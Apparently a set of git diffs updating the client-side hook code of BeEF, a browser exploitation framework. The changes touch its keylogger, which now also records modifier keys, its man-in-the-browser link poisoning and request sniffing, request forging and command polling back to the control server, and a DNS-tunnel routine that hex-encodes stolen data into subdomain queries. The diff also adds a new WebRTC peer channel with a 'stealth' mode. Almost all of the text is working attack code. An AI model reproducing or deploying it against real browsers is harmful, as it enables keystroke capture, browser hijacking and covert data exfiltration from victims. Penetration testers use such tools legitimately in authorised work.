maybeFixConfiguration(pcConfig);
}
return new webkitRTCPeerConnection(pcConfig, pcConstraints);
}
// Get UserMedia (only difference is the prefix).
// Code from Adam Barth.
getUserMedia = navigator.webkitGetUserMedia.bind(navigator);
navigator.getUserMedia = getUserMedia;
// Attach a media stream to an element.
attachMediaStream = function(element, stream) {
if (typeof element.srcObject !== 'undefined') {
element.srcObject = stream;
} else if (typeof element.mozSrcObject !== 'undefined') {
element.mozSrcObject = stream;
} else if (typeof element.src !== 'undefined') {
element.src = URL.createObjectURL(stream);
} else {
console.log('Error attaching stream to element.');
}
};
reattachMediaStream = function(to, from) {
to.src = from.src;
};
} else {
console.log("Browser does not appear to be WebRTC-capable");
}

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -43,6 +43,7 @@ beef.logger = {
this.y = 0;
this.target = null;
this.data = null;
this.mods = null;
},
/**
@@ -233,17 +234,28 @@ beef.logger = {
*/
parse_stream: function() {
var s = '';
for (var i in this.stream)
{
//s += (this.stream[i]['modifiers']['alt']) ? '*alt* ' : '';
//s += (this.stream[i]['modifiers']['ctrl']) ? '*ctrl* ' : '';
//s += (this.stream[i]['modifiers']['shift']) ? 'Shift+' : '';
s += String.fromCharCode(this.stream[i]['char']);
var mods = '';
for (var i in this.stream){
try{
var mod = this.stream[i]['modifiers'];
s += String.fromCharCode(this.stream[i]['char']);
if(typeof mod != 'undefined' &&
(mod['alt'] == true ||
mod['ctrl'] == true ||
mod['shift'] == true)){
mods += (mod['alt']) ? ' [Alt] ' : '';
mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
mods += (mod['shift']) ? ' [Shift] ' : '';
mods += String.fromCharCode(this.stream[i]['char']);
}
}catch(e){}
}
var k = new beef.logger.e();
k.type = 'keys';
k.target = beef.logger.get_dom_identifier();
k.data = s;
k.mods = mods;
return k;
},

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -33,11 +33,11 @@ beef.mitb = {
//GET request
if (method == "GET") {
//GET request -> cross-domain
//GET request -> cross-origin
if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
window.open(url);
}else { //GET request -> same-domain
}else { //GET request -> same-origin
beef.mitb.sniff("GET [Ajax Request]: " + url);
if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
var title = "";
@@ -106,7 +106,7 @@ beef.mitb = {
history.pushState({ Be:"EF" }, title, e.currentTarget);
}
} catch (e) {
console.error('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
}
return false;
},
@@ -198,7 +198,7 @@ beef.mitb = {
beef.mitb.sniff("GET: " + url);
} catch (x) {
// the link is cross-domain, so load the resource in a different tab
// the link is cross-origin, so load the resource in a different tab
window.open(url);
beef.mitb.sniff("GET [New Window]: " + url);
}
@@ -219,4 +219,4 @@ beef.mitb = {
}
};
beef.regCmp('beef.mitb');
beef.regCmp('beef.mitb');

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -18,21 +18,21 @@
*/
beef.net = {
host:"<%= @beef_host %>",
port:"<%= @beef_port %>",
hook:"<%= @beef_hook %>",
httpproto:"<%= @beef_proto %>",
handler:'/dh',
chop:500,
pad:30, //this is the amount of padding for extra params such as pc, pid and sid
sid_count:0,
cmd_queue:[],
host: "<%= @beef_host %>",
port: "<%= @beef_port %>",
hook: "<%= @beef_hook %>",
httpproto: "<%= @beef_proto %>",
handler: '/dh',
chop: 500,
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
sid_count: 0,
cmd_queue: [],
/**
* Command object. This represents the data to be sent back to BeEF,
* using the beef.net.send() method.
*/
command:function () {
command: function () {
this.cid = null;
this.results = null;
this.handler = null;
@@ -42,7 +42,7 @@ beef.net = {
/**
* Packet object. A single chunk of data. X packets -> 1 stream
*/
packet:function () {
packet: function () {
this.id = null;
this.data = null;
},
@@ -50,7 +50,7 @@ beef.net = {
/**
* Stream object. Contains X packets, which are command result chunks.
*/
stream:function () {
stream: function () {
this.id = null;
this.packets = [];
this.pc = 0;
@@ -58,8 +58,8 @@ beef.net = {
return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
};
this.get_packet_data = function () {
var p = this.packets.shift();
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
var p = this.packets.shift();
return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
};
},
@@ -68,10 +68,10 @@ beef.net = {
* NOTE: as we are using async mode, the response object will be empty if returned.
* Using sync mode, request obj fields will be populated.
*/
response:function () {
response: function () {
this.status_code = null; // 500, 404, 200, 302
this.status_text = null; // success, timeout, error, ...
this.response_body = null; // "<html>…." if not a cross domain request
this.response_body = null; // "<html>…." if not a cross-origin request
this.port_status = null; // tcp port is open, closed or not http
this.was_cross_domain = null; // true or false
this.was_timedout = null; // the user specified timeout was reached
@@ -86,7 +86,7 @@ beef.net = {
* @param: {String} results: the data to send
* @param: {Function} callback: the function to call after execution
*/
queue:function (handler, cid, results, callback) {
queue: function (handler, cid, results, callback) {
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
var s = new beef.net.command();
s.cid = cid;
@@ -107,16 +107,16 @@ beef.net = {
* @param: {String} results: the data to send
* @param: {Function} callback: the function to call after execution
*/
send:function (handler, cid, results, callback) {
send: function (handler, cid, results, callback) {
if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
this.queue(handler, cid, results, callback);
this.flush();
}else {
} else {
try {
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
}catch (e) {
} catch (e) {
this.queue(handler, cid, results, callback);
this.flush();
}
@@ -131,7 +131,7 @@ beef.net = {
* XHR-polling mechanism. If WebSockets are used, the data is sent
* back to BeEF straight away.
*/
flush:function () {
flush: function () {
if (this.cmd_queue.length > 0) {
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
this.cmd_queue.length = 0;
@@ -159,7 +159,7 @@ beef.net = {
* @param: {String} str: the input data
* @param: {Integer} amount: chunk length
*/
chunk:function (str, amount) {
chunk: function (str, amount) {
if (typeof amount == 'undefined') n = 2;
return str.match(RegExp('.{1,' + amount + '}', 'g'));
},
@@ -169,7 +169,7 @@ beef.net = {
* It uses beef.net.request to send back the data.
* @param: {Object} stream: the stream object to be sent back.
*/
push:function (stream) {
push: function (stream) {
//need to implement wait feature here eventually
for (var i = 0; i < stream.pc; i++) {
this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
@@ -191,11 +191,11 @@ beef.net = {
*
* @return: {Object} response: this object contains the response details
*/
request:function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
//check if same domain or cross domain
var cross_domain = true;
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
if(document.location.port == "" || document.location.port == null){
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
if (document.location.port == "" || document.location.port == null) {
cross_domain = !(port == "80" || port == "443");
}
}
@@ -220,29 +220,29 @@ beef.net = {
* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
* This will turn POSTs into GETs for remote-domain requests.
*/
if (method == "POST"){
$j.ajaxSetup({
dataType: dataType
});
if (method == "POST") {
$j.ajaxSetup({
dataType: dataType
});
} else {
$j.ajaxSetup({
$j.ajaxSetup({
dataType: 'script'
});
});
}
//build and execute the request
$j.ajax({type:method,
url:url,
data:data,
timeout:(timeout * 1000),
$j.ajax({type: method,
url: url,
data: data,
timeout: (timeout * 1000),
//This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
beforeSend:function (xhr) {
beforeSend: function (xhr) {
if (method == "POST") {
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
}
},
success:function (data, textStatus, xhr) {
success: function (data, textStatus, xhr) {
var end_time = new Date().getTime();
response.status_code = xhr.status;
response.status_text = textStatus;
@@ -251,14 +251,14 @@ beef.net = {
response.was_timedout = false;
response.duration = (end_time - start_time);
},
error:function (jqXHR, textStatus, errorThrown) {
error: function (jqXHR, textStatus, errorThrown) {
var end_time = new Date().getTime();
response.response_body = jqXHR.responseText;
response.status_code = jqXHR.status;
response.status_text = textStatus;
response.duration = (end_time - start_time);
},
complete:function (jqXHR, textStatus) {
complete: function (jqXHR, textStatus) {
response.status_code = jqXHR.status;
response.status_text = textStatus;
response.headers = jqXHR.getAllResponseHeaders();
@@ -288,19 +288,20 @@ beef.net = {
*
* forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
*/
forge_request:function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
// check if same domain or cross domain
var cross_domain = true;
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
if(document.location.port == "" || document.location.port == null){
cross_domain = !(port == "80" || port == "443");
} else {
if (document.location.port == port) cross_domain = false;
}
if (domain == "undefined" || path == "undefined") {
return;
}
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
if (document.location.port == "" || document.location.port == null) {
cross_domain = !(port == "80" || port == "443");
} else {
if (document.location.port == port) cross_domain = false;
}
}
// build the url
var url = "";
if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
@@ -333,7 +334,7 @@ beef.net = {
* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
* This will turn POSTs into GETs for remote-domain requests.
*/
if (method == "POST"){
if (method == "POST") {
$j.ajaxSetup({
dataType: dataType
});
@@ -343,8 +344,8 @@ beef.net = {
});
}
// this is required for bugs in IE so data can be transferred back to the server
if ( beef.browser.isIE() ) {
// this is required for bugs in IE so data can be transferred back to the server
if (beef.browser.isIE()) {
dataType = 'script'
}
@@ -355,14 +356,14 @@ beef.net = {
timeout: (timeout * 1000),
//This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
beforeSend:function (xhr) {
beforeSend: function (xhr) {
if (method == "POST") {
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
}
},
// http server responded successfully
success:function (data, textStatus, xhr) {
success: function (data, textStatus, xhr) {
var end_time = new Date().getTime();
response.status_code = xhr.status;
response.status_text = textStatus;
@@ -373,7 +374,7 @@ beef.net = {
// server responded with a http error (403, 404, 500, etc)
// or server is not a http server
error:function (xhr, textStatus, errorThrown) {
error: function (xhr, textStatus, errorThrown) {
var end_time = new Date().getTime();
response.response_body = xhr.responseText;
response.status_code = xhr.status;
@@ -381,33 +382,33 @@ beef.net = {
response.duration = (end_time - start_time);
},
complete:function (xhr, textStatus) {
complete: function (xhr, textStatus) {
// cross-domain request
if (cross_domain) {
response.port_status = "crossdomain";
response.port_status = "crossdomain";
if (xhr.status != 0) {
response.status_code = xhr.status;
} else {
response.status_code = -1;
}
response.status_code = xhr.status;
} else {
response.status_code = -1;
}
if (textStatus) {
response.status_text = textStatus;
} else {
response.status_text = "crossdomain";
}
if (textStatus) {
response.status_text = textStatus;
} else {
response.status_text = "crossdomain";
}
if (xhr.getAllResponseHeaders()) {
response.headers = xhr.getAllResponseHeaders();
} else {
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
}
if (xhr.getAllResponseHeaders()) {
response.headers = xhr.getAllResponseHeaders();
} else {
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
}
if (!response.response_body) {
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
}
if (!response.response_body) {
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
}
} else {
// same-domain request
@@ -420,8 +421,16 @@ beef.net = {
response.was_timedout = true;
response.response_body = "ERROR: Timed out\n";
response.port_status = "closed";
/*
* With IE we need to explicitly set the dataType to "script",
* so there will be always parse-errors if the content is != javascript
* */
} else if (textStatus == "parsererror") {
response.port_status = "not-http";
if (beef.browser.isIE()) {
response.status_text = "success";
response.port_status = "open";
}
} else {
response.port_status = "open";
}
@@ -434,7 +443,7 @@ beef.net = {
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
clean:function (r) {
clean: function (r) {
if (this.array_has_string_key(r)) {
var obj = {};
for (var key in r)
@@ -445,7 +454,7 @@ beef.net = {
},
//Detects if an array has a string key
array_has_string_key:function (arr) {
array_has_string_key: function (arr) {
if ($j.isArray(arr)) {
try {
for (var key in arr)
@@ -459,7 +468,7 @@ beef.net = {
/**
* Sends back browser details to framework, calling beef.browser.getDetails()
*/
browser_details:function () {
browser_details: function () {
var details = beef.browser.getDetails();
details['HookSessionID'] = beef.session.get_hook_session_id();
this.send('/init', 0, details);

View File

@@ -12,7 +12,7 @@ beef.net.cors = {
},
/**
* Make a cross-domain request using CORS
* Make a cross-origin request using CORS
*
* @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
* @param url {String} url

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -18,49 +18,70 @@ beef.net.dns = {
handler: "dns",
send: function(msgId, messageString, domain, wait, callback) {
send: function(msgId, data, domain, callback) {
var dom = document.createElement('b');
var encode_data = function(str) {
var result="";
for(i=0;i<str.length;++i) {
result+=str.charCodeAt(i).toString(16).toUpperCase();
}
return result;
};
// DNS settings
var max_domain_length = 255-5-5-5-5-5;
var max_segment_length = max_domain_length - domain.length;
var encodedData = encodeURI(encode_data(data));
// splits strings into chunks
String.prototype.chunk = function(n) {
if (typeof n=='undefined') n=100;
return this.match(RegExp('.{1,'+n+'}','g'));
};
//TODO remove this
console.log(encodedData);
console.log("_encodedData_ length: " + encodedData.length);
// XORs a string
xor_encrypt = function(str, key) {
var result="";
for(i=0;i<str.length;++i) {
result+=String.fromCharCode(key^str.charCodeAt(i));
}
return result;
};
// limitations to DNS according to RFC 1035:
// o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
// o Domain names are limited to 255 characters in length (including dots)
// o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
// o Subdomains are limited to 63 characters in length (including the trailing dot)
// sends a DNS request
sendQuery = function(query) {
beef.debug("Requesting: "+query);
var img = new Image;
img.src = "http://"+query;
img.onload = function() { dom.removeChild(this); }
img.onerror = function() { dom.removeChild(this); }
dom.appendChild(img);
};
// DNS request structure:
// COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
//max_length: 3. 3 . 3 . 63 . x
// encode message
var xor_key = Math.floor(Math.random()*99000+1000);
encoded_message = encodeURI(xor_encrypt(messageString, xor_key)).replace(/%/g,".");
// only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
// for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
var max_data_segment_length = 63; // by RFC
// Split message into segments
segments = encoded_message.chunk(max_segment_length)
for (seq=1; seq<=segments.length; seq++) {
// send segment
sendQuery(msgId+"."+seq+"."+segments.length+"."+xor_key+segments[seq-1]+"."+domain);
}
//TODO remove this
console.log("max_data_segment_length: " + max_data_segment_length);
var dom = document.createElement('b');
String.prototype.chunk = function(n) {
if (typeof n=='undefined') n=100;
return this.match(RegExp('.{1,'+n+'}','g'));
};
var sendQuery = function(query) {
var img = new Image;
//img.src = "http://"+query;
img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
img.onload = function() { dom.removeChild(this); }
img.onerror = function() { dom.removeChild(this); }
dom.appendChild(img);
//experimental
//setTimeout(function(){dom.removeChild(img)},1000);
};
var segments = encodedData.chunk(max_data_segment_length);
var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
//TODO remove this
console.log(segments.length);
for (var seq=1; seq<=segments.length; seq++) {
sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
}
// callback - returns the number of queries sent
if (!!callback) callback(segments.length);

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -19,8 +19,7 @@ beef.net.requester = {
handler: "requester",
send: function(requests_array) {
for (i in requests_array) {
for(var i=0; i<requests_array.length; i++){
request = requests_array[i];
beef.net.forge_request('http', request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id,
@@ -32,8 +31,6 @@ beef.net.requester = {
response_headers: res.headers});
}
);
}
}
};

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -8,6 +8,28 @@ beef.os = {
ua: navigator.userAgent,
/**
* Detect default browser (IE only)
* Written by unsticky
* http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
*/
getDefaultBrowser: function() {
var result = "Unknown"
try {
var mt = document.mimeType;
if (mt) {
if (mt == "Safari Document") result = "Safari";
if (mt == "Firefox HTML Document") result = "Firefox";
if (mt == "Chrome HTML Document") result = "Chrome";
if (mt == "HTML Document") result = "Internet Explorer";
if (mt == "Opera Web Document") result = "Opera";
}
} catch (e) {
beef.debug("[os] getDefaultBrowser: "+e.message);
}
return result;
},
isWin311: function() {
return (this.ua.match('(Win16)')) ? true : false;
},
@@ -57,6 +79,10 @@ beef.os = {
isWin8: function() {
return (this.ua.match('(Windows NT 6.2)')) ? true : false;
},
isWin81: function() {
return (this.ua.match('(Windows NT 6.3)')) ? true : false;
},
isOpenBSD: function() {
@@ -116,7 +142,7 @@ beef.os = {
},
isWindows: function() {
return this.isWin311() || this.isWinNT4() || this.isWinCE() || this.isWin95() || this.isWin98() || this.isWinME() || this.isWin2000() || this.isWin2000SP1() || this.isWinXP() || this.isWinServer2003() || this.isWinVista() || this.isWin7() || this.isWin8() || this.isWinPhone();
return this.isWin311() || this.isWinNT4() || this.isWinCE() || this.isWin95() || this.isWin98() || this.isWinME() || this.isWin2000() || this.isWin2000SP1() || this.isWinXP() || this.isWinServer2003() || this.isWinVista() || this.isWin7() || this.isWin8() || this.isWin81() || this.isWinPhone();
},
getName: function() {
@@ -134,6 +160,7 @@ beef.os = {
if(this.isWinVista()) return 'Windows Vista';
if(this.isWin7()) return 'Windows 7';
if(this.isWin8()) return 'Windows 8';
if(this.isWin81()) return 'Windows 8.1';
//Nokia
if(this.isNokia()) {

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

View File

@@ -1,12 +1,12 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*
Sometimes there are timing issues and looks like beef_init
is not called at all (always in cross-domain situations,
is not called at all (always in cross-origin situations,
for example calling the hook with jquery getScript,
or sometimes with event handler injections).

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -47,9 +47,8 @@ beef.updater = {
this.get_commands(); /*Polling*/
}
}
// ( typeof beef.websocket === "undefined")
setTimeout("beef.updater.check();", beef.updater.xhr_poll_timeout);
/* The following gives a stupid syntax error in IE, which can be ignored*/
setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
},
/**
@@ -80,7 +79,10 @@ beef.updater = {
try {
command();
} catch(e) {
console.error('execute_commands - command failed to execute: ' + e.message);
beef.debug('execute_commands - command failed to execute: ' + e.message);
// prints the command source to be executed, to better trace errors
// beef.client_debug must be enabled in the main config
beef.debug(command.toString());
}
}
this.lock = false;

588
core/main/client/webrtc.js Normal file
View File

@@ -0,0 +1,588 @@
//
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* @Literal object: beef.webrtc
*
* Manage the WebRTC peer to peer communication channels.
* This objects contains all the necessary client-side WebRTC components,
* allowing browsers to use WebRTC to communicate with each other.
* To provide signaling, the WebRTC extension sets up custom listeners.
* /rtcsignal - for sending RTC signalling information between peers
* /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
*
* To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
* the signalling.
*
* This is all mostly a Proof of Concept
*/
beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects
// The key is the peer id
globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
// these objects persist outside of everything else
// The key is the peer id
rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain:
// false - i.e not stealthed; or
// <peerid> - i.e. the id of the browser which initiated stealth mode
rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these
// The key is the peer id
// Beefwebrtc object - wraps everything together for a peer connection
// One of these per peer connection, and will be stored in the beefrtc global hash
function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
this.turnjson = turnjson; // set of TURN servers in the format:
// {"username": "<username", "password": "<password>", "uris": [
// "turn:<ip>:<port>?transport=<udp/tcp>",
// "turn:<ip>:<port>?transport=<udp/tcp>"]}
this.started = false; // Has signaling / dialing started for this peer
this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
this.turnDone = false; // does the pcConfig have TURN servers added to it?
this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
// the receiver will set this to true once it receives an SDP 'offer'
this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
this.pcConfig = null; // We set this during init
this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
this.dataChannel = null; // The data channel used by this peer
this.stunservers = stunservers; // set of STUN servers, in the format:
// ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
}
// Initialize the object
Beefwebrtc.prototype.initialize = function() {
if (this.peerid == null) {
return 0; // no peerid - NO DICE
}
// Initialise the pcConfig hash with the provided stunservers
var stuns = JSON.parse(this.stunservers);
this.pcConfig = {"iceServers": [{"urls":stuns}]};
// We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
this.forceTurn(this.turnjson);
// Caller is always ready to create peerConnection.
this.signalingReady = this.initiator;
// Start .. maybe
this.maybeStart();
// If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
// window.onbeforeunload = function() {
// this.sendSignalMsg({type: 'bye'});
// }
return 1; // because .. yeah .. we had a peerid - this is good yar.
}
//Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
//These values are now simply passed in from the config.yaml for the webrtc extension
Beefwebrtc.prototype.forceTurn = function(jason) {
var turnServer = JSON.parse(jason);
var iceServers = createIceServers(turnServer.uris,
turnServer.username,
turnServer.password);
if (iceServers !== null) {
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
}
if (this.verbose) {console.log("Got TURN servers, will try and maybestart again..");}
this.turnDone = true;
this.maybeStart();
}
// Try and establish the RTC connection
Beefwebrtc.prototype.createPeerConnection = function() {
if (this.verbose) {
console.log('Creating RTCPeerConnnection with the following options:\n' +
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
}
try {
// Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
if (this.verbose) {
console.log('Created RTCPeerConnnection with the following options:\n' +
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
}
} catch (e) {
if (this.verbose) {
console.log('Failed to create PeerConnection, exception: ');
console.log(e);
}
return;
}
// Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
globalrtc[this.peerid].ondatachannel = this.onDataChannel;
this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
}
// When the PeerConnection receives a new ICE Candidate
Beefwebrtc.prototype.onIceCandidate = function(event) {
var peerid = null;
for (var k in beefrtcs) {
if (beefrtcs[k].allgood === false) {
peerid = beefrtcs[k].peerid;
}
}
if (beefrtcs[peerid].verbose) {
console.log("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
console.log(event);
}
if (event.candidate) {
// Send the candidate to the peer via the BeEF signalling channel
beefrtcs[peerid].sendSignalMsg({type: 'candidate',
label: event.candidate.sdpMLineIndex,
id: event.candidate.sdpMid,
candidate: event.candidate.candidate});
// Note this ICE candidate locally
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
} else {
if (beefrtcs[peerid].verbose) {console.log('End of candidates.');}
}
}
// For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
// against the message directly
Beefwebrtc.prototype.processMessage = function(message) {
if (this.verbose) {
console.log('Signalling Message - S->C: ' + JSON.stringify(message));
}
var msg = JSON.parse(message);
if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
if (this.verbose) {console.log('processing the message, as a receiver');}
if (msg.type === 'offer') { // This IS an SDP Offer
if (this.verbose) {console.log('.. and the message is an offer .. ');}
this.msgQueue.unshift(msg); // put it on the top of the msgqueue
this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
} else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
if (this.verbose) {console.log(' .. the message is NOT an offer .. ');}
this.msgQueue.push(msg);
}
} else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
if (this.verbose) {console.log('processing the message, as the sender, no answers yet');}
if (msg.type === 'answer') { // This IS an SDP Answer
if (this.verbose) {console.log('.. and we have an answer ..');}
this.processSignalingMessage(msg); // Process the message directly
this.gotanswer = true; // We have now received an answer
//process all other queued message...
while (this.msgQueue.length > 0) {
this.processSignalingMessage(this.msgQueue.shift());
}
} else { // This is NOT an SDP Answer - as the caller, just add it to the queue
if (this.verbose) {console.log('.. not an answer ..');}
this.msgQueue.push(msg);
}
} else { // For all other messages just drop them in the queue
